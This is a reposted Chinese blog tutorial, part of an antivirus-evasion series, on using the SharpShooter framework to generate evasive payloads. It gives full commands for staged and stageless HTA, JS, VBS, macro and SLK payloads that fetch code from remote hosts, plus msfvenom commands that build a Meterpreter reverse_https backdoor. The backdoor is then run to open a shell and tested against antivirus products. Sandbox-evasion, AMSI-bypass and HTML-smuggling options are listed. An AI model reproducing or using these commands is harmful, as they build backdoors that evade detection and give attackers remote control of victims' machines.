远控免杀专题(23)-SharpShooter免杀

转载:https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg

免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、SharpShooter介绍

Sharpshooter,2018年开源的工具,知名度较高,基于python2开发,是比较专业的Payload生成框架,支持反沙箱、分阶段和无阶段的Payload执行,并能够生成hta、js、jse、vba、vbe、vbs、wsf等多种格式的payload,创建的Payload可用于编译执行任意C#源代码。Sharpshooter还能对Payload使用随机密钥进行RC4加密,还能检测沙箱,从而避开杀软的检测。

二、安装SharpShooter

安装比较简单,python2执行环境。

先从github上clone到本地

# git clone https://github.com/mdsecactivebreach/SharpShooter

进入SharpShooter目录,安装python依赖库


pip install -r requirements.txt

执行python sharpShooter.py即可

在这里插入图片描述

三、SharpShooter使用说明

SharpShooter支持的参数比较多,可以像垒积木一样构造不同的payload。
在这里插入图片描述

 -h, --help          帮助菜单
  --stageless         创建一个不分阶段的payload
  --dotnetver <ver>   制定dotnet的版本,2或者4
  --com <com>         COM 分阶段技术: 如outlook, shellbrowserwin, wmi, wscript, xslremote等
  --awl <awl>         使用程序白名单技术: wmic, regsvr32
  --awlurl <awlurl>   指定取回 XSL/SCT payload的url地址
  --payload <format>  Payload 类型: hta, js, jse, vbe, vbs, wsf, macro, slk
  --sandbox <types>   绕过沙盒技术:
                      [1] Key to Domain (e.g. 1=CONTOSO)
                      [2] Ensure Domain Joined
                      [3] Check for Sandbox Artifacts
                      [4] Check for Bad MACs
                      [5] Check for Debugging
  --amsi <amsi>       使用AMSI绕过技术: amsienable
  --delivery <type>   分发方法: web, dns, both
  --rawscfile <path>  指定生成payload的shellcode
  --shellcode         使用内置的shellcode
  --scfile <path>     指定C#的shellcode的路径
  --refs <refs>       指定C#需要的依赖文件,如mscorlib.dll等
  --namespace <ns>    指定C#的Namespace,如Foo.bar
  --entrypoint <ep>   指定C#需要执行的方法,如Main
  --web <web>         指定web分发的地址
  --dns <dns>         指定Dns分发的地址
  --output <output>   输出文件的名称
  --smuggle           HTML内的隐藏文件
  --template <tpl>    指定生成html的template文件 (e.g. mcafee)

SharpSHooter支持分阶段(Staged)和无阶段(Shageless)Payload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输,或者两者同时使用。当分阶段Payload被执行时,会尝试检索已经压缩的C#源代码文件,然后使用所选择的方式进行Base64编码。随后,借助.NET CodeDom编译器,将C#源代码下载,并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤:
在这里插入图片描述
SharpShooter的使用还算比较简单的,官方提供了各种payload的生成命令。
1、不分阶段的JavaScript


SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

2、不分阶段的hta

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

3、分阶段的VBS


SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

4、使用js加载自定义C#代码


SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

5、使用vbs调用COM方法执行wmic.exe

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

6、创建hta调用XMLDOM来执行shellcode

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

7、创建VBA调用XMLDOM来执行shellcode


SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

8、创建Excel 4.0 符号链接文件执行shellcode

SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

要求shellcode不能包含空字符

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

四、利用SharpShooter生成后门

以一个比较简单的为例进行测试,创建一个包含后门的HTA。

要先用msfvenom生成一个raw格式的shellcode


msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt

在这里插入图片描述
然后使用SharpShooter创建hta后门


SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee

在这里插入图片描述
在测试机上运行foo.hta,理论是也可以使用mshta.exe http://ip/foo.hta来执行,但我没执行成功。
在这里插入图片描述
msf中可正常上线
在这里插入图片描述
打开杀软进行测试,火绒静态和动态都可以查杀,360卫士和360杀毒没有报警。
在这里插入图片描述
又试了下SharpShooter生成的js之类的payload,查杀率也差不多,而且都被标注了Sharpshooter的病毒名称,说明SharpShooter默认生成的样本特征都已经被杀软列入特征库了。

五、SharpShooter小结

SharpShooter算是比较复杂的一个框架,支持多种payload,能在.NET框架的v2、v3和v4版本上都能执行,涵盖了绝大部分的Windows系统。但也因为SharpShooter的知名度比较高,默认生成的payload已经被查杀的比较严重,但其实现方式和思路是比较值得人学习的。

而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用参数–amsi amsienable可以使用该模块来Kill掉AMSI,感兴趣的可以试一下。

六、参考资料

官方github:https://github.com/mdsecactivebreach/SharpShooter

如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533

发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105182929